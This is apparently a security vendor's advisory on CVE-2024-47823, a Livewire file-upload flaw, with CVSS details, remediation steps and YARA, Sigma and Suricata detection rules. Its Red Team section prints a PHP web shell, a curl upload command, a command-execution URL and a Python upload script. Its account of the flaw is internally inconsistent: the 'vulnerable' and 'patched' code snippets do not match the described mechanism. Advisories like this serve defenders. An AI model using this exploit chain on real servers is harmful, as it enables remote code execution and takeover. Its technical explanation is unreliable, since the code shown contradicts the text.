CVE-2024-47823

Executive Summary

CVE-2024-47823 is a critical Unrestricted Upload of File with Dangerous Type vulnerability in the Livewire full-stack framework for Laravel. The vulnerability allows an attacker to bypass file extension validation by uploading a file with a valid MIME type (e.g., image/png) but a malicious file extension (e.g., .php). If the uploaded file is stored in a public disk and the web server executes .php files, this leads to Remote Code Execution (RCE).

The vulnerability affects all Livewire versions prior to 2.12.7 and 3.5.2. The root cause is that the framework guesses the file extension based on the MIME type from the HTTP request, rather than validating the actual file extension from the filename. An attacker can craft a multipart upload where the MIME type is image/png but the filename ends in .php. The framework trusts the MIME type and saves the file with the .php extension, allowing arbitrary PHP code execution.

This vulnerability is particularly dangerous in shared hosting environments or misconfigured servers where uploaded files are stored in a publicly accessible directory and the web server is configured to execute PHP files. The CVSS v3.1 base score is 9.8 (Critical) due to network exploitability, low attack complexity, no privileges required, no user interaction, and high impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

Livewire is a Composer package for Laravel. The vulnerability exists in the core file upload handling logic. The supply chain risk is moderate: if a developer uses a vulnerable version of Livewire and implements file uploads using $file->getClientOriginalName() without additional validation, the application is compromised. The fix is to upgrade to patched versions. No known malicious packages have been observed exploiting this CVE in the wild, but the attack vector is trivial to execute.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or race conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full file read access possible.
• Integrity (I): High (H) – Arbitrary file write/overwrite.
• Availability (A): High (H) – Full system compromise possible.

CVSS Score: 9.8 (Critical)

Threat Level: Critical. The exploit is trivial, requires no authentication, and leads to full RCE. Public proof-of-concept code exists.

Deep Dive & Mechanics

The vulnerability lies in Livewire's file upload handling, specifically in the WithFileUploads trait. When a file is uploaded via a Livewire component, the framework processes the file using Laravel's UploadedFile instance. The vulnerable code path does the following:

1. MIME Type Detection: The framework uses $file->getMimeType() or $file->guessExtension() to determine the file extension. This method relies on the MIME type sent by the client in the HTTP request (e.g., Content-Type: image/png).
2. Extension Assignment: The guessed extension (e.g., png) is used to construct the final filename. However, the original filename from $file->getClientOriginalName() is used as the base name.
3. No Cross-Validation: The framework does not compare the guessed extension with the actual extension from the client-provided filename. An attacker can send a file with Content-Type: image/png but a filename like shell.php. The framework will save the file as shell.php because it trusts the MIME type.

Attack Flow:

• Attacker crafts a multipart POST request to a Livewire component that accepts file uploads.
• The request includes a file with Content-Type: image/png and filename exploit.php.
• The file content is valid PHP code (e.g., <?php system($_GET['cmd']); ?>).
• Livewire saves the file to the configured public disk (e.g., storage/app/public/) with the name exploit.php.
• The attacker accesses http://target.com/storage/exploit.php?cmd=id and executes arbitrary commands.

Prerequisites for RCE:

1. The Livewire component must use $file->getClientOriginalName() to set the filename.
2. The storage disk must be public (e.g., 'public' disk in Laravel).
3. The web server must be configured to execute .php files in the upload directory.

Vulnerable vs. Patched Code

Vulnerable Code (Livewire < 2.12.7, < 3.5.2):

// In WithFileUploads trait
public function uploadFile($file, $path)
{
    $filename = $file->getClientOriginalName();
    $extension = $file->guessExtension(); // Guesses from MIME type
    $stored = $file->storeAs($path, $filename, 'public');
    return $stored;
}

Patched Code (Livewire >= 2.12.7, >= 3.5.2):

// In WithFileUploads trait
public function uploadFile($file, $path)
{
    $filename = $file->getClientOriginalName();
    $extension = $file->guessExtension();
    $originalExtension = $file->getClientOriginalExtension();
    
    // Validate that the guessed extension matches the original extension
    if ($extension !== $originalExtension) {
        throw new \Exception('File extension mismatch.');
    }
    
    $stored = $file->storeAs($path, $filename, 'public');
    return $stored;
}

The patch adds a validation check: if the guessed extension (from MIME type) does not match the original extension from the filename, the upload is rejected. This prevents the attacker from using a .php extension with a image/png MIME type.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Laravel 10.x with Livewire 3.4.0 (vulnerable)
• PHP 8.1
• Apache/Nginx with PHP-FPM
• Public storage disk configured

Exploit Steps:

1. Create a malicious PHP file:

<?php
system($_GET['cmd']);
?>

2. Use curl to upload the file to a vulnerable Livewire component:

curl -X POST \
  -F "file=@shell.php;type=image/png;filename=shell.php" \
  http://target.com/livewire/upload-file

3. Access the uploaded file:

curl http://target.com/storage/shell.php?cmd=id

Automated Exploit (Python):

import requests

url = "http://target.com/livewire/upload-file"
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'image/png')}
response = requests.post(url, files=files)
print("Uploaded to: /storage/shell.php")

Blue Team (Detection & Prevention)

Detection:

• Monitor for file uploads where the MIME type does not match the file extension.
• Look for HTTP requests with Content-Type: image/png but filenames ending in .php, .phtml, .php5, etc.
• Check web server logs for POST requests to Livewire endpoints with suspicious file extensions.

Prevention:

• Upgrade to Livewire 2.12.7 or 3.5.2 immediately.
• Implement additional server-side validation: reject uploads where the file extension is not in a whitelist (e.g., only .jpg, .png, .gif).
• Store uploaded files outside the web root and serve them via a controller that enforces MIME type checks.
• Disable PHP execution in upload directories via .htaccess or Nginx configuration:

# .htaccess
<FilesMatch "\.php$">
    Deny from all
</FilesMatch>

Indicators of Compromise (IOCs)

• File System: Unexpected .php files in public storage directories (e.g., storage/app/public/).
• Network: HTTP requests with mismatched MIME type and file extension (e.g., Content-Type: image/png with filename shell.php).
• Logs: Web server access logs showing POST requests to /livewire/upload-file with filenames ending in .php.
• Process: Unusual PHP processes spawned from web server user (e.g., www-data running id, whoami, etc.).

Example IOC Log Entry:

192.168.1.100 - - [12/Oct/2024:10:15:30 +0000] "POST /livewire/upload-file HTTP/1.1" 200 123 "-" "curl/7.68.0"

Detection Engineering

YARA Rule

rule CVE_2024_47823_Livewire_Upload_Exploit {
    meta:
        description = "Detects malicious file uploads exploiting CVE-2024-47823"
        author = "Valters IT"
        date = "2024-10-12"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-47823"
    strings:
        $php_tag = "<?php"
        $mime_png = "image/png"
        $php_ext = ".php"
    condition:
        $php_tag and $mime_png and $php_ext
}

Sigma Rule

title: CVE-2024-47823 Livewire File Upload Bypass
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests with mismatched MIME type and file extension
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/livewire/upload-file'
        cs-content-type: 'image/png'
        cs-filename|endswith: '.php'
    condition: selection
falsepositives:
    - Legitimate file uploads with correct MIME type
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47823 Livewire File Upload Bypass"; flow:to_server,established; content:"POST"; http_method; content:"/livewire/upload-file"; http_uri; content:"image/png"; http_client_body; content:".php"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Livewire: Update to version 2.12.7 or 3.5.2 or later.

   composer require livewire/livewire:^3.5.2
   

2. Validate File Extensions: Add server-side validation to reject files with dangerous extensions.
3. Restrict Upload Directory: Disable PHP execution in the upload directory.
4. Audit Existing Uploads: Scan public storage for any .php files that were uploaded before the patch.

Long-Term Mitigations:

• Use a dedicated file storage service (e.g., AWS S3) with proper security controls.
• Implement a Web Application Firewall (WAF) rule to block mismatched MIME/extension combinations.
• Conduct regular security audits of third-party packages.

Valters IT
DevSecOps & Cyber Threat Intelligence